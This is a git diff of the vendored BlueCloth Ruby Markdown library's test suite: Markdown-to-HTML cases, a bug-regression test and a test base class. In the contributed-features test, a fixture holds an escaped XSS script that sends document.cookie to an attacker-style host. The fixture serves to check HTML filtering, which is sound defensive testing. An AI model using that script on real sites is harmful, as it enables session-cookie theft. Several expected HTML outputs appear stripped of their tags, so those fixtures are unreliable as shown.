    +>>> + + + +### [Images] + +# Inline image with title +<<< +![alt text](/path/img.jpg "Title") +--- Should become: +

    alt text

    +>>> + +# Inline image with title (single-quotes) +<<< +![alt text](/path/img.jpg 'Title') +--- Should become: +

    alt text

    +>>> + +# Inline image with title (with embedded quotes) +<<< +![alt text](/path/img.jpg 'The "Title" Image') +--- Should become: +

    alt text

    +>>> + +# Inline image without title +<<< +![alt text](/path/img.jpg) +--- Should become: +

    alt text

    +>>> + +# Inline image with quoted alt text +<<< +![the "alt text"](/path/img.jpg) +--- Should become: +

    the "alt text"

    +>>> + + +# Reference image +<<< +![alt text][id] + +[id]: /url/to/img.jpg "Title" +--- Should become: +

    alt text

    +>>> + + + +### [Emphasis] + +# Emphasis () with asterisks +<<< +Use *single splats* for emphasis. +--- Should become: +

    Use single splats for emphasis.

    +>>> + +# Emphasis () with underscores +<<< +Use *underscores* for emphasis. +--- Should become: +

    Use underscores for emphasis.

    +>>> + +# Strong emphasis () with asterisks +<<< +Use **double splats** for more emphasis. +--- Should become: +

    Use double splats for more emphasis.

    +>>> + +# Strong emphasis () with underscores +<<< +Use __doubled underscores__ for more emphasis. +--- Should become: +

    Use doubled underscores for more emphasis.

    +>>> + +# Combined emphasis types 1 +<<< +Use *single splats* or _single unders_ for normal emphasis. +--- Should become: +

    Use single splats or single unders for normal emphasis.

    +>>> + +# Combined emphasis types 2 +<<< +Use _single unders_ for normal emphasis +or __double them__ for strong emphasis. +--- Should become: +

    Use single unders for normal emphasis +or double them for strong emphasis.

    +>>> + +# Emphasis containing escaped metachars +<<< +You can include literal *\*splats\** by escaping them. +--- Should become: +

    You can include literal *splats* by escaping them.

    +>>> + +# Two instances of asterisked emphasis on one line +<<< +If there's *two* splatted parts on a *single line* it should still work. +--- Should become: +

    If there's two splatted parts on a single line it should still work.

    +>>> + +# Two instances of double asterisked emphasis on one line +<<< +This **doubled** one should **work too**. +--- Should become: +

    This doubled one should work too.

    +>>> + +# Two instances of underscore emphasis on one line +<<< +If there's _two_ underbarred parts on a _single line_ it should still work. +--- Should become: +

    If there's two underbarred parts on a single line it should still work.

    +>>> + +# Two instances of doubled underscore emphasis on one line +<<< +This __doubled__ one should __work too__. +--- Should become: +

    This doubled one should work too.

    +>>> + +# Initial emphasis (asterisk) +<<< +*Something* like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Initial emphasis (underscore) +<<< +_Something_ like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Initial strong emphasis (asterisk) +<<< +**Something** like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Initial strong emphasis (underscore) +<<< +__Something__ like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Partial-word emphasis (Bug #568) +<<< +**E**xtended **TURN** +--- Should become: +

    Extended TURN

    +>>> + + + +### [Links] + +# Inline link, no title +<<< +An [example](http://url.com/). +--- Should become: +

    An example.

    +>>> + +# Inline link with title +<<< +An [example](http://url.com/ "Check out url.com!"). +--- Should become: +

    An example.

    +>>> + +# Reference-style link, no title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ +--- Should become: +

    An example reference-style link.

    +>>> + +# Reference-style link with quoted title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ "Check out our air." +--- Should become: +

    An example reference-style link.

    +>>> + +# Reference-style link with paren title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ (Check out our air.) +--- Should become: +

    An example reference-style link.

    +>>> + +# Reference-style link with one of each (hehe) +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ "Check out our air.) +--- Should become: +

    An example reference-style link.

    +>>> + +" <- For syntax highlighting + +# Reference-style link with intervening space +<<< +You can split the [linked part] [ex] from +the reference part with a single space. + +[ex]: http://www.treefrog.com/ "for some reason" +--- Should become: +

    You can split the linked part from +the reference part with a single space.

    +>>> + +# Reference-style link with intervening space +<<< +You can split the [linked part] + [ex] from the reference part +with a newline in case your editor wraps it there, I guess. + +[ex]: http://www.treefrog.com/ +--- Should become: +

    You can split the linked part from the reference part +with a newline in case your editor wraps it there, I guess.

    +>>> + +# Reference-style anchors +<<< +I get 10 times more traffic from [Google] [1] than from +[Yahoo] [2] or [MSN] [3]. + + [1]: http://google.com/ "Google" + [2]: http://search.yahoo.com/ "Yahoo Search" + [3]: http://search.msn.com/ "MSN Search" +--- Should become: +

    I get 10 times more traffic from Google than from +Yahoo or MSN.

    +>>> + +# Implicit name-link shortcut anchors +<<< +I get 10 times more traffic from [Google][] than from +[Yahoo][] or [MSN][]. + + [google]: http://google.com/ "Google" + [yahoo]: http://search.yahoo.com/ "Yahoo Search" + [msn]: http://search.msn.com/ "MSN Search" +--- Should become: +

    I get 10 times more traffic from Google than from +Yahoo or MSN.

    +>>> + +# Inline anchors +<<< +I get 10 times more traffic from [Google](http://google.com/ "Google") +than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or +[MSN](http://search.msn.com/ "MSN Search"). +--- Should become: +

    I get 10 times more traffic from Google +than from Yahoo or +MSN.

    +>>> + +# Graceful fail for unclosed brackets (and bug #524) +<<< +This is just a [bracket opener; it should fail gracefully. +--- Should become: +

    This is just a [bracket opener; it should fail gracefully.

    +>>> + +# Unresolved reference-style links (Bug #620) +<<< +This is an unresolved [url][1]. +--- Should become: +

    This is an unresolved [url][1].

    +>>> + + +### [Auto-links] + +# Plain HTTP link +<<< +This is a reference to . You should follow it. +--- Should become: +

    This is a reference to http://www.FaerieMUD.org/. You should follow it.

    +>>> + +# FTP link +<<< +Why not download your very own chandelier from ? +--- Should become: +

    Why not download your very own chandelier from ftp://ftp.usuc.edu/pub/foof/mir/?

    +>>> + + +### [Lists] + +# Unordered list +<<< +* Red +* Green +* Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Unordered list w/alt bullets +<<< +- Red +- Green +- Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Unordered list w/alt bullets 2 +<<< ++ Red ++ Green ++ Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Unordered list w/mixed bullets +<<< ++ Red +- Green +* Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Ordered list +<<< +1. Bird +2. McHale +3. Parish +--- Should become: +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    +>>> + +# Ordered list, any numbers +<<< +1. Bird +1. McHale +1. Parish +--- Should become: +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    +>>> + +# Ordered list, any numbers 2 +<<< +3. Bird +1. McHale +8. Parish +--- Should become: +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    +>>> + +# Hanging indents +<<< +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. + Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, + viverra nec, fringilla in, laoreet vitae, risus. +* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. + Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
      +
    • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus.
    • +
    • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing.
    • +
    +>>> + +# Lazy indents +<<< +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus. +* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
      +
    • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus.
    • +
    • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing.
    • +
    +>>> + +# Paragraph wrapped list items +<<< +* Bird + +* Magic +--- Should become: +
      +
    • Bird

    • +
    • Magic

    • +
    +>>> + +# Multi-paragraph list items +<<< +1. This is a list item with two paragraphs. Lorem ipsum dolor + sit amet, consectetuer adipiscing elit. Aliquam hendrerit + mi posuere lectus. + + Vestibulum enim wisi, viverra nec, fringilla in, laoreet + vitae, risus. Donec sit amet nisl. Aliquam semper ipsum + sit amet velit. + +2. Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
      +
    1. This is a list item with two paragraphs. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit. Aliquam hendrerit +mi posuere lectus.

      + +

      Vestibulum enim wisi, viverra nec, fringilla in, laoreet +vitae, risus. Donec sit amet nisl. Aliquam semper ipsum +sit amet velit.

    2. +
    3. Suspendisse id sem consectetuer libero luctus adipiscing.

    4. +
    +>>> + +# Lazy multi-paragraphs +<<< +* This is a list item with two paragraphs. + + This is the second paragraph in the list item. You're +only required to indent the first line. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit. + +* Another item in the same list. +--- Should become: +
      +
    • This is a list item with two paragraphs.

      + +

      This is the second paragraph in the list item. You're +only required to indent the first line. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit.

    • +
    • Another item in the same list.

    • +
    +>>> + +# Blockquote in list item +<<< +* A list item with a blockquote: + + > This is a blockquote + > inside a list item. +--- Should become: +
      +
    • A list item with a blockquote:

      + +
      +

      This is a blockquote + inside a list item.

      +
    • +
    +>>> + +# Code block in list item +<<< +* A list item with a code block: + + +--- Should become: +
      +
    • A list item with a code block:

      + +
      <code goes here>
      +
    • +
    +>>> + +# Backslash-escaped number-period-space +<<< +1986\. What a great season. +--- Should become: +

    1986. What a great season.

    +>>> + diff --git a/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb b/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb index 0ca746b4..0a1e6b86 100755 --- a/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb +++ b/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb @@ -1,57 +1,57 @@ -#!/usr/bin/ruby -# -# Unit test for bugs found in BlueCloth -# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Copyright (c) 2004 The FaerieMUD Consortium. -# - -if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) - basedir = File::dirname( __FILE__ ) - require File::join( basedir, 'bctestcase' ) -end - - -require 'timeout' - -### This test case tests ... -class BugsTestCase < BlueCloth::TestCase - BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) ) - - ### Test to be sure the README file can be transformed. - def test_00_slow_block_regex - contents = File::read( File::join(BaseDir,"README") ) - bcobj = BlueCloth::new( contents ) - - assert_nothing_raised { - timeout( 2 ) do - bcobj.to_html - end - } - end - - ### :TODO: Add more documents and test their transforms. - - def test_10_regexp_engine_overflow_bug - contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") ) - bcobj = BlueCloth::new( contents ) - - assert_nothing_raised { - bcobj.to_html - } - end - - def test_15_regexp_engine_overflow_bug2 - contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") ) - bcobj = BlueCloth::new( contents ) - - assert_nothing_raised { - bcobj.to_html - } - end - -end - - -__END__ - +#!/usr/bin/ruby +# +# Unit test for bugs found in BlueCloth +# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +require 'timeout' + +### This test case tests ... +class BugsTestCase < BlueCloth::TestCase + BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) ) + + ### Test to be sure the README file can be transformed. + def test_00_slow_block_regex + contents = File::read( File::join(BaseDir,"README") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + timeout( 2 ) do + bcobj.to_html + end + } + end + + ### :TODO: Add more documents and test their transforms. + + def test_10_regexp_engine_overflow_bug + contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + bcobj.to_html + } + end + + def test_15_regexp_engine_overflow_bug2 + contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + bcobj.to_html + } + end + +end + + +__END__ + diff --git a/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb b/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb index 56af2d8b..0b304e37 100755 --- a/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb +++ b/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb @@ -1,132 +1,132 @@ -#!/usr/bin/ruby -# -# Unit test for contributed features -# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Copyright (c) 2004 The FaerieMUD Consortium. -# - -if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) - basedir = File::dirname( __FILE__ ) - require File::join( basedir, 'bctestcase' ) -end - - - -### This test case tests ... -class ContribTestCase < BlueCloth::TestCase - - DangerousHtml = - "" - DangerousHtmlOutput = - "

    <script>document.location='http://www.hacktehplanet.com" + - "/cgi-bin/cookie.cgi?' + document.cookie</script>

    " - DangerousStylesOutput = - "" - NoLessThanHtml = "Foo is definitely > than bar" - NoLessThanOutput = "

    Foo is definitely > than bar

    " - - - ### HTML filter options contributed by Florian Gross. - - ### Test the :filter_html restriction - def test_10_filter_html - printTestHeader "filter_html Option" - rval = bc = nil - - # Test as a 1st-level param - assert_nothing_raised { - bc = BlueCloth::new( DangerousHtml, :filter_html ) - } - assert_instance_of BlueCloth, bc - - # Accessors - assert_nothing_raised { rval = bc.filter_html } - assert_equal true, rval - assert_nothing_raised { rval = bc.filter_styles } - assert_equal nil, rval - - # Test rendering with filters on - assert_nothing_raised { rval = bc.to_html } - assert_equal DangerousHtmlOutput, rval - - # Test setting it in a sub-array - assert_nothing_raised { - bc = BlueCloth::new( DangerousHtml, [:filter_html] ) - } - assert_instance_of BlueCloth, bc - - # Accessors - assert_nothing_raised { rval = bc.filter_html } - assert_equal true, rval - assert_nothing_raised { rval = bc.filter_styles } - assert_equal nil, rval - - # Test rendering with filters on - assert_nothing_raised { rval = bc.to_html } - assert_equal DangerousHtmlOutput, rval - end - - - ### Test the :filter_styles restriction - def test_20_filter_styles - printTestHeader "filter_styles Option" - rval = bc = nil - - # Test as a 1st-level param - assert_nothing_raised { - bc = BlueCloth::new( DangerousHtml, :filter_styles ) - } - assert_instance_of BlueCloth, bc - - # Accessors - assert_nothing_raised { rval = bc.filter_styles } - assert_equal true, rval - assert_nothing_raised { rval = bc.filter_html } - assert_equal nil, rval - - # Test rendering with filters on - assert_nothing_raised { rval = bc.to_html } - assert_equal DangerousStylesOutput, rval - - # Test setting it in a subarray - assert_nothing_raised { - bc = BlueCloth::new( DangerousHtml, [:filter_styles] ) - } - assert_instance_of BlueCloth, bc - - # Accessors - assert_nothing_raised { rval = bc.filter_styles } - assert_equal true, rval - assert_nothing_raised { rval = bc.filter_html } - assert_equal nil, rval - - # Test rendering with filters on - assert_nothing_raised { rval = bc.to_html } - assert_equal DangerousStylesOutput, rval - - end - - - ### Test to be sure filtering when there's no opening angle brackets doesn't - ### die. - def test_30_filter_no_less_than - printTestHeader "filter without a less-than" - rval = bc = nil - - # Test as a 1st-level param - assert_nothing_raised { - bc = BlueCloth::new( NoLessThanHtml, :filter_html ) - } - assert_instance_of BlueCloth, bc - - assert_nothing_raised { rval = bc.to_html } - assert_equal NoLessThanOutput, rval - end - - - -end - +#!/usr/bin/ruby +# +# Unit test for contributed features +# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + + +### This test case tests ... +class ContribTestCase < BlueCloth::TestCase + + DangerousHtml = + "" + DangerousHtmlOutput = + "

    <script>document.location='http://www.hacktehplanet.com" + + "/cgi-bin/cookie.cgi?' + document.cookie</script>

    " + DangerousStylesOutput = + "" + NoLessThanHtml = "Foo is definitely > than bar" + NoLessThanOutput = "

    Foo is definitely > than bar

    " + + + ### HTML filter options contributed by Florian Gross. + + ### Test the :filter_html restriction + def test_10_filter_html + printTestHeader "filter_html Option" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, :filter_html ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_html } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_styles } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousHtmlOutput, rval + + # Test setting it in a sub-array + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, [:filter_html] ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_html } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_styles } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousHtmlOutput, rval + end + + + ### Test the :filter_styles restriction + def test_20_filter_styles + printTestHeader "filter_styles Option" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, :filter_styles ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_styles } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_html } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousStylesOutput, rval + + # Test setting it in a subarray + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, [:filter_styles] ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_styles } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_html } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousStylesOutput, rval + + end + + + ### Test to be sure filtering when there's no opening angle brackets doesn't + ### die. + def test_30_filter_no_less_than + printTestHeader "filter without a less-than" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( NoLessThanHtml, :filter_html ) + } + assert_instance_of BlueCloth, bc + + assert_nothing_raised { rval = bc.to_html } + assert_equal NoLessThanOutput, rval + end + + + +end + diff --git a/vendor/bluecloth-1.0.0/tests/bctestcase.rb b/vendor/bluecloth-1.0.0/tests/bctestcase.rb index 15a920f4..25fad2c5 100755 --- a/vendor/bluecloth-1.0.0/tests/bctestcase.rb +++ b/vendor/bluecloth-1.0.0/tests/bctestcase.rb @@ -1,274 +1,274 @@ -#!/usr/bin/ruby -# -# This is an abstract test case class for building Test::Unit unit tests for the -# BlueCloth module. It consolidates most of the maintenance work that must be -# done to build a test file by adjusting the $LOAD_PATH appropriately, as well -# as adding some other useful methods that make building, maintaining, and using -# the tests for programming much easier (IMHO). See the docs for Test::Unit for -# more info on the particulars of unit testing. -# -# == Synopsis -# -# # Allow the test to be run from anywhere: -# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) -# basedir = File::dirname( __FILE__ ) -# require File::join( basedir, 'bctestcase' ) -# end -# -# class MySomethingTest < BlueCloth::TestCase -# def setup -# super() -# @foo = 'bar' -# end -# -# def test_00_something -# obj = nil -# assert_nothing_raised { obj = MySomething::new } -# assert_instance_of MySomething, obj -# assert_respond_to :myMethod, obj -# end -# -# end -# -# == Rcsid -# -# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# == Authors -# -# * Michael Granger -# -#:include: COPYRIGHT -# -#--- -# -# Please see the file COPYRIGHT in the 'docs' directory for licensing details. -# - -$DebugPattern ||= nil - -begin - basedir = File::dirname( File::dirname(__FILE__) ) - unless $LOAD_PATH.include?( "#{basedir}/lib" ) - $LOAD_PATH.unshift "#{basedir}/lib" - end -end - -require "test/unit" -require "bluecloth" - - -class BlueCloth - - ### The abstract base class for BlueCloth test cases. - class TestCase < Test::Unit::TestCase - - @methodCounter = 0 - @setupBlocks = [] - @teardownBlocks = [] - class << self - attr_accessor :methodCounter, :setupBlocks, :teardownBlocks - end - - - ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars - ### and accessors to the inheriting class. - def self::inherited( klass ) - klass.module_eval { - @setupBlocks = [] - @teardownBlocks = [] - - class << self - attr_accessor :setupBlocks, :teardownBlocks - end - } - klass.methodCounter = 0 - end - - - - ### Output the specified msgs joined together to - ### STDERR if $DEBUG is set. - def self::debugMsg( *msgs ) - return unless $DEBUG - self.message "DEBUG>>> %s" % msgs.join('') - end - - ### Output the specified msgs joined together to - ### STDOUT. - def self::message( *msgs ) - $stderr.puts msgs.join('') - $stderr.flush - end - - - ### Add a setup block for the current testcase - def self::addSetupBlock( &block ) - self.methodCounter += 1 - newMethodName = "setup_#{self.methodCounter}".intern - define_method( newMethodName, &block ) - self.setupBlocks.push newMethodName - end - - ### Add a teardown block for the current testcase - def self::addTeardownBlock( &block ) - self.methodCounter += 1 - newMethodName = "teardown_#{self.methodCounter}".intern - define_method( newMethodName, &block ) - self.teardownBlocks.unshift newMethodName - end - - - ############################################################# - ### I N S T A N C E M E T H O D S - ############################################################# - - ### A dummy test method to allow this Test::Unit::TestCase to be - ### subclassed without complaining about the lack of tests. - def test_0_dummy - end - - - ### Forward-compatibility method for namechange in Test::Unit - def setup( *args ) - self.class.setupBlocks.each {|sblock| - debugMsg "Calling setup block method #{sblock}" - self.send( sblock ) - } - super( *args ) - end - alias_method :set_up, :setup - - - ### Forward-compatibility method for namechange in Test::Unit - def teardown( *args ) - super( *args ) - self.class.teardownBlocks.each {|tblock| - debugMsg "Calling teardown block method #{tblock}" - self.send( tblock ) - } - end - alias_method :tear_down, :teardown - - - ### Skip the current step (called from #setup) with the +reason+ given. - def skip( reason=nil ) - if reason - msg = "Skipping %s: %s" % [ @method_name, reason ] - else - msg = "Skipping %s: No reason given." % @method_name - end - - $stderr.puts( msg ) if $VERBOSE - @method_name = :skipped_test - end - - - def skipped_test # :nodoc: - end - - - ### Add the specified +block+ to the code that gets executed by #setup. - def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end - - - ### Add the specified +block+ to the code that gets executed by #teardown. - def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end - - - ### Instance alias for the like-named class method. - def message( *msgs ) - self.class.message( *msgs ) - end - - - ### Instance alias for the like-named class method - def debugMsg( *msgs ) - self.class.debugMsg( *msgs ) - end - - - ### Output a separator line made up of length of the specified - ### char. - def writeLine( length=75, char="-" ) - $stderr.puts "\r" + (char * length ) - end - - - ### Output a header for delimiting tests - def printTestHeader( desc ) - return unless $VERBOSE || $DEBUG - message ">>> %s <<<" % desc - end - - - ### Try to force garbage collection to start. - def collectGarbage - a = [] - 1000.times { a << {} } - a = nil - GC.start - end - - - ### Output the name of the test as it's running if in verbose mode. - def run( result ) - $stderr.puts self.name if $VERBOSE || $DEBUG - - # Support debugging for individual tests - olddb = nil - if $DebugPattern && $DebugPattern =~ @method_name - olddb = $DEBUG - $DEBUG = true - end - - super - - $DEBUG = olddb unless olddb.nil? - end - - - ############################################################# - ### E X T R A A S S E R T I O N S - ############################################################# - - ### Negative of assert_respond_to - def assert_not_respond_to( obj, meth ) - msg = "%s expected NOT to respond to '%s'" % - [ obj.inspect, meth ] - assert_block( msg ) { - !obj.respond_to?( meth ) - } - end - - - ### Assert that the instance variable specified by +sym+ of an +object+ - ### is equal to the specified +value+. The '@' at the beginning of the - ### +sym+ will be prepended if not present. - def assert_ivar_equal( value, object, sym ) - sym = "@#{sym}".intern unless /^@/ =~ sym.to_s - msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" % - [ sym, object.inspect, value.inspect ] - msg += "\tbut was: <%s>" % object.instance_variable_get(sym) - assert_block( msg ) { - value == object.instance_variable_get(sym) - } - end - - - ### Assert that the specified +object+ has an instance variable which - ### matches the specified +sym+. The '@' at the beginning of the +sym+ - ### will be prepended if not present. - def assert_has_ivar( sym, object ) - sym = "@#{sym}" unless /^@/ =~ sym.to_s - msg = "Object <%s> expected to have an instance variable <%s>" % - [ object.inspect, sym ] - assert_block( msg ) { - object.instance_variables.include?( sym.to_s ) - } - end - - end # class TestCase - -end # class BlueCloth - +#!/usr/bin/ruby +# +# This is an abstract test case class for building Test::Unit unit tests for the +# BlueCloth module. It consolidates most of the maintenance work that must be +# done to build a test file by adjusting the $LOAD_PATH appropriately, as well +# as adding some other useful methods that make building, maintaining, and using +# the tests for programming much easier (IMHO). See the docs for Test::Unit for +# more info on the particulars of unit testing. +# +# == Synopsis +# +# # Allow the test to be run from anywhere: +# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) +# basedir = File::dirname( __FILE__ ) +# require File::join( basedir, 'bctestcase' ) +# end +# +# class MySomethingTest < BlueCloth::TestCase +# def setup +# super() +# @foo = 'bar' +# end +# +# def test_00_something +# obj = nil +# assert_nothing_raised { obj = MySomething::new } +# assert_instance_of MySomething, obj +# assert_respond_to :myMethod, obj +# end +# +# end +# +# == Rcsid +# +# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# == Authors +# +# * Michael Granger +# +#:include: COPYRIGHT +# +#--- +# +# Please see the file COPYRIGHT in the 'docs' directory for licensing details. +# + +$DebugPattern ||= nil + +begin + basedir = File::dirname( File::dirname(__FILE__) ) + unless $LOAD_PATH.include?( "#{basedir}/lib" ) + $LOAD_PATH.unshift "#{basedir}/lib" + end +end + +require "test/unit" +require "bluecloth" + + +class BlueCloth + + ### The abstract base class for BlueCloth test cases. + class TestCase < Test::Unit::TestCase + + @methodCounter = 0 + @setupBlocks = [] + @teardownBlocks = [] + class << self + attr_accessor :methodCounter, :setupBlocks, :teardownBlocks + end + + + ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars + ### and accessors to the inheriting class. + def self::inherited( klass ) + klass.module_eval { + @setupBlocks = [] + @teardownBlocks = [] + + class << self + attr_accessor :setupBlocks, :teardownBlocks + end + } + klass.methodCounter = 0 + end + + + + ### Output the specified msgs joined together to + ### STDERR if $DEBUG is set. + def self::debugMsg( *msgs ) + return unless $DEBUG + self.message "DEBUG>>> %s" % msgs.join('') + end + + ### Output the specified msgs joined together to + ### STDOUT. + def self::message( *msgs ) + $stderr.puts msgs.join('') + $stderr.flush + end + + + ### Add a setup block for the current testcase + def self::addSetupBlock( &block ) + self.methodCounter += 1 + newMethodName = "setup_#{self.methodCounter}".intern + define_method( newMethodName, &block ) + self.setupBlocks.push newMethodName + end + + ### Add a teardown block for the current testcase + def self::addTeardownBlock( &block ) + self.methodCounter += 1 + newMethodName = "teardown_#{self.methodCounter}".intern + define_method( newMethodName, &block ) + self.teardownBlocks.unshift newMethodName + end + + + ############################################################# + ### I N S T A N C E M E T H O D S + ############################################################# + + ### A dummy test method to allow this Test::Unit::TestCase to be + ### subclassed without complaining about the lack of tests. + def test_0_dummy + end + + + ### Forward-compatibility method for namechange in Test::Unit + def setup( *args ) + self.class.setupBlocks.each {|sblock| + debugMsg "Calling setup block method #{sblock}" + self.send( sblock ) + } + super( *args ) + end + alias_method :set_up, :setup + + + ### Forward-compatibility method for namechange in Test::Unit + def teardown( *args ) + super( *args ) + self.class.teardownBlocks.each {|tblock| + debugMsg "Calling teardown block method #{tblock}" + self.send( tblock ) + } + end + alias_method :tear_down, :teardown + + + ### Skip the current step (called from #setup) with the +reason+ given. + def skip( reason=nil ) + if reason + msg = "Skipping %s: %s" % [ @method_name, reason ] + else + msg = "Skipping %s: No reason given." % @method_name + end + + $stderr.puts( msg ) if $VERBOSE + @method_name = :skipped_test + end + + + def skipped_test # :nodoc: + end + + + ### Add the specified +block+ to the code that gets executed by #setup. + def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end + + + ### Add the specified +block+ to the code that gets executed by #teardown. + def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end + + + ### Instance alias for the like-named class method. + def message( *msgs ) + self.class.message( *msgs ) + end + + + ### Instance alias for the like-named class method + def debugMsg( *msgs ) + self.class.debugMsg( *msgs ) + end + + + ### Output a separator line made up of length of the specified + ### char. + def writeLine( length=75, char="-" ) + $stderr.puts "\r" + (char * length ) + end + + + ### Output a header for delimiting tests + def printTestHeader( desc ) + return unless $VERBOSE || $DEBUG + message ">>> %s <<<" % desc + end + + + ### Try to force garbage collection to start. + def collectGarbage + a = [] + 1000.times { a << {} } + a = nil + GC.start + end + + + ### Output the name of the test as it's running if in verbose mode. + def run( result ) + $stderr.puts self.name if $VERBOSE || $DEBUG + + # Support debugging for individual tests + olddb = nil + if $DebugPattern && $DebugPattern =~ @method_name + olddb = $DEBUG + $DEBUG = true + end + + super + + $DEBUG = olddb unless olddb.nil? + end + + + ############################################################# + ### E X T R A A S S E R T I O N S + ############################################################# + + ### Negative of assert_respond_to + def assert_not_respond_to( obj, meth ) + msg = "%s expected NOT to respond to '%s'" % + [ obj.inspect, meth ] + assert_block( msg ) { + !obj.respond_to?( meth ) + } + end + + + ### Assert that the instance variable specified by +sym+ of an +object+ + ### is equal to the specified +value+. The '@' at the beginning of the + ### +sym+ 